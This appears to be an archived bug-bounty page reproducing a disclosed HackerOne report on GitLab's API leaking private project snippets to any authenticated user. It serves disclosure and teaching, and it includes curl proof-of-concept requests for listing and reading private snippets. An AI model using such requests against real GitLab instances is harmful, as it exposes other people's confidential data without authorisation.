Skip to content
Access control Disclosed report Beginner

Private snippets in public / internal projects leaked though GitLab API

The GitLab API endpoint for project snippets returned private snippets to any authenticated user, including their titles and raw contents. An attacker with a valid token could read confidential information such as API tokens stored in private snippets.

jobert Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 8 days
  • Disclosed after 8 days

Vulnerability details

The /projects/:id/snippets resource leaks private snippets that were posted in a public or internal project.

Proof of concept

As a victim, create a new public or internal project. Lets state that the project has ID 1. Enable the snippets feature in the project settings and create a private snippet for the project. As an attacker, fetch all the snippets for the project:

Bash
curl --header "PRIVATE-TOKEN: XXXXXXXXXXXXXX" "http://gitlab-instance/api/v3/projects/1/snippets"

The response will contain snippet titles that were marked as private:

JSON
[
  {
    "id":6,
    "title":"Secret snippet",
    "file_name":"",
    "author":{
      "name":"Jane Doe",
      "username":"jane",
      "id":3,
      "state":"active",
      "avatar_url":"http://www.gravatar.com/avatar/f4d2ae4a63880c2a1c796bdd6d06a2d8?s=80\u0026d=identicon",
      "web_url":"http://gitlab-ubuntu-2gb-sfo1-01/u/jane"
    },
    "updated_at":"2016-04-25T01:06:05.554Z",
    "created_at":"2016-04-25T01:06:05.554Z",
    "expires_at":null
  }
]

The contents of a private snippet can be read by sending the following request to the GitLab API:

Bash
curl --header "PRIVATE-TOKEN: XXXXXXXXXXXXXX" "http://gitlab-instance/api/v3/projects/1/snippets/6/raw"

The response of this request leaks the contents of the snippet:

These are the contents of a private snippet.

Impact

It seems that private snippets may be used to hold private (API) tokens or similar confidential information. This can seriously damage to a company depending on what kind of information is shared.

The original report as published on HackerOne, by jobert. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker with a valid token could read private snippet titles and contents, potentially exposing confidential information such as API tokens.

What the attacker needed

A valid API token; a public or internal project with snippets enabled; a private snippet exists in that project

How it was found

  1. Create a public or internal project and enable snippets.
  2. Create a private snippet in that project.
  3. As an attacker, request the project's snippet list via the API.
  4. Observe private snippet titles in the response.
  5. Request the raw content of the private snippet by its ID.
  6. Observe the private snippet contents in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GitLab lets people save small pieces of text called snippets, and these can be marked private so only certain people see them. The bug meant that anyone with a normal account could ask the API for a list of snippets in a project and get back private ones too, including their full contents. That could expose secrets like passwords or API tokens.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by jobert

View all

67 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.